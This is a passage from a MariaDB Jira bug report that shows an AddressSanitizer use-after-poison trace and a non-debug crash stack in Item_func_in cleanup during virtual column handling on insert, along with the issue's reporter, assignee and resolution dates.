Item::cleanup_processor(void*) /10.2/src/sql/item.cc:680 #2 0x56107a6b5bea in Item::cleanup_excluding_fields_processor(void*) /10.2/src/sql/item.h:1687 #3 0x56107a7ccc80 in Item_func_or_sum::walk(bool (Item::*)(void*), bool, void*) /10.2/src/sql/item.h:4422 #4 0x56107ab90429 in fix_session_vcol_expr(THD*, Virtual_column_info*) /10.2/src/sql/table.cc:2840 #5 0x56107a7b0bd6 in TABLE::fix_vcol_exprs(THD*) /10.2/src/sql/sql_base.cc:4988 #6 0x56107a7b10b2 in fix_all_session_vcol_exprs /10.2/src/sql/sql_base.cc:5019 #7 0x56107a7b2184 in lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned int) /10.2/src/sql/sql_base.cc:5190 #8 0x56107a7b0062 in open_and_lock_tables(THD*, DDL_options_st const&, TABLE_LIST*, bool, unsigned int, Prelocking_strategy*) /10.2/src/sql/sql_base.cc:4871 #9 0x56107a7273e3 in open_and_lock_tables(THD*, TABLE_LIST*, bool, unsigned int) /10.2/src/sql/sql_base.h:508 #10 0x56107a868149 in mysql_insert(THD*, TABLE_LIST*, List<Item>&, List<List<Item> >&, List<Item>&, List<Item>&, enum_duplicates, bool) /10.2/src/sql/sql_insert.cc:758 #11 0x56107a8d1434 in mysql_execute_command(THD*) /10.2/src/sql/sql_parse.cc:4217 #12 0x56107a8e9d0f in mysql_parse(THD*, char*, unsigned int, Parser_state*, bool, bool) /10.2/src/sql/sql_parse.cc:7793 #13 0x56107a8c2f14 in dispatch_command(enum_server_command, THD*, char*, unsigned int, bool, bool) /10.2/src/sql/sql_parse.cc:1827 #14 0x56107a8bfcdf in do_command(THD*) /10.2/src/sql/sql_parse.cc:1381 #15 0x56107ac4c315 in do_handle_one_connection(CONNECT*) /10.2/src/sql/sql_connect.cc:1336 #16 0x56107ac4bbd8 in handle_one_connection /10.2/src/sql/sql_connect.cc:1241 #17 0x56107bfeca21 in pfs_spawn_thread /10.2/src/storage/perfschema/pfs.cc:1869 #18 0x7f5939546608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477 #19 0x7f5938cb4162 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x11f162) 0x62b000000dd0 is located 3024 bytes inside of 24716-byte region [0x62b000000200,0x62b00000628c) allocated by thread T27 here: #0 0x7f593966e808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144 #1 0x56107c10a926 in sf_malloc /10.2/src/mysys/safemalloc.c:118 #2 0x56107c0d68c1 in my_malloc /10.2/src/mysys/my_malloc.c:101 #3 0x56107c0b36a5 in reset_root_defaults /10.2/src/mysys/my_alloc.c:147 #4 0x56107a807437 in THD::init_for_queries() /10.2/src/sql/sql_class.cc:1316 #5 0x56107ac4b54b in prepare_new_connection_state(THD*) /10.2/src/sql/sql_connect.cc:1172 #6 0x56107ac4bc22 in thd_prepare_connection(THD*) /10.2/src/sql/sql_connect.cc:1256 #7 0x56107ac4c240 in do_handle_one_connection(CONNECT*) /10.2/src/sql/sql_connect.cc:1326 #8 0x56107ac4bbd8 in handle_one_connection /10.2/src/sql/sql_connect.cc:1241 #9 0x56107bfeca21 in pfs_spawn_thread /10.2/src/storage/perfschema/pfs.cc:1869 #10 0x7f5939546608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477 Thread T27 created by T0 here: #0 0x7f593959b815 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cc:208 #1 0x56107bfece12 in spawn_thread_v1 /10.2/src/storage/perfschema/pfs.cc:1919 #2 0x56107a662293 in inline_mysql_thread_create /10.2/src/include/mysql/psi/mysql_thread.h:1246 #3 0x56107a67a1ea in create_thread_to_handle_connection(CONNECT*) /10.2/src/sql/mysqld.cc:6580 #4 0x56107a67a985 in create_new_thread /10.2/src/sql/mysqld.cc:6650 #5 0x56107a67bb17 in handle_connections_sockets() /10.2/src/sql/mysqld.cc:6908 #6 0x56107a67953b in mysqld_main(int, char**) /10.2/src/sql/mysqld.cc:6199 #7 0x56107a660b4c in main /10.2/src/sql/main.cc:25 #8 0x7f5938bb90b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2) SUMMARY: AddressSanitizer: use-after-poison /10.2/src/sql/item_cmpfunc.h:1673 in Item_func_in::cleanup() Shadow bytes around the buggy address: 0x0c567fff8160: f7 00 00 00 f7 02 f7 00 00 00 00 00 00 00 00 00 0x0c567fff8170: 00 00 00 00 00 00 00 00 00 f7 00 00 f7 00 00 f7 0x0c567fff8180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 00 0x0c567fff8190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 0x0c567fff81a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c567fff81b0: f7 00 f7 00 00 00 00 00 00 f7[f7]f7 f7 f7 f7 f7 0x0c567fff81c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x0c567fff81d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x0c567fff81e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x0c567fff81f0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x0c567fff8200: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==289599==ABORTING ----------SERVER LOG END------------- this test also crashes on non-debug: 10.6.7 Version: '10.6.7-MariaDB' 220316 14:01:32 [ERROR] mysqld got signal 11 ; Server version: 10.6.7-MariaDB sigaction.c:0(__restore_rt)[0x7ff91686b3c0] sql/item_cmpfunc.h:2115(Predicant_to_list_comparator::Predicant_to_value_comparator::cleanup())[0x564631b2c1d6] sql/item.cc:574(Item::cleanup_processor(void*))[0x564631a00cfa] sql/table.cc:3624(fix_session_vcol_expr(THD*, Virtual_column_info*))[0x564631888bec] sql/sql_base.cc:5446(TABLE::fix_vcol_exprs(THD*))[0x56463175cc32] sql/sql_base.cc:5480(lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned int))[0x56463175d102] sql/sql_base.cc:5274(open_and_lock_tables(THD*, DDL_options_st const&, TABLE_LIST*, bool, unsigned int, Prelocking_strategy*))[0x56463175e702] sql/sql_insert.cc:752(mysql_insert(THD*, TABLE_LIST*, List<Item>&, List<List<Item> >&, List<Item>&, List<Item>&, enum_duplicates, bool, select_result*))[0x5646317928f8] sql/sql_parse.cc:4567(mysql_execute_command(THD*, bool))[0x5646317c6f48] sql/sql_parse.cc:8030(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x5646317c959b] sql/sql_parse.cc:1955(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x5646317cb7e7] sql/sql_parse.cc:1406(do_command(THD*, bool))[0x5646317cce83] sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x5646318c2be7] sql/sql_connect.cc:1318(handle_one_connection)[0x5646318c2e84] perfschema/pfs.cc:2204(pfs_spawn_thread)[0x564631c560cc] nptl/pthread_create.c:478(start_thread)[0x7ff91685f609] ??:0(clone)[0x7ff91644b163] Query (0x7ff8c40108d0): insert into t1(a) values (1)

People

Assignee:: Sergei Golubchik

Reporter:: Jingzhou Fu

Votes:: 0 Vote for this issue

Watchers:: 3 Start watching this issue

Dates

Created:: 2022-03-16 10:00

Updated:: 2022-04-28 11:44

Resolved:: 2022-04-28 11:42

Git Integration

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.

MariaDB Server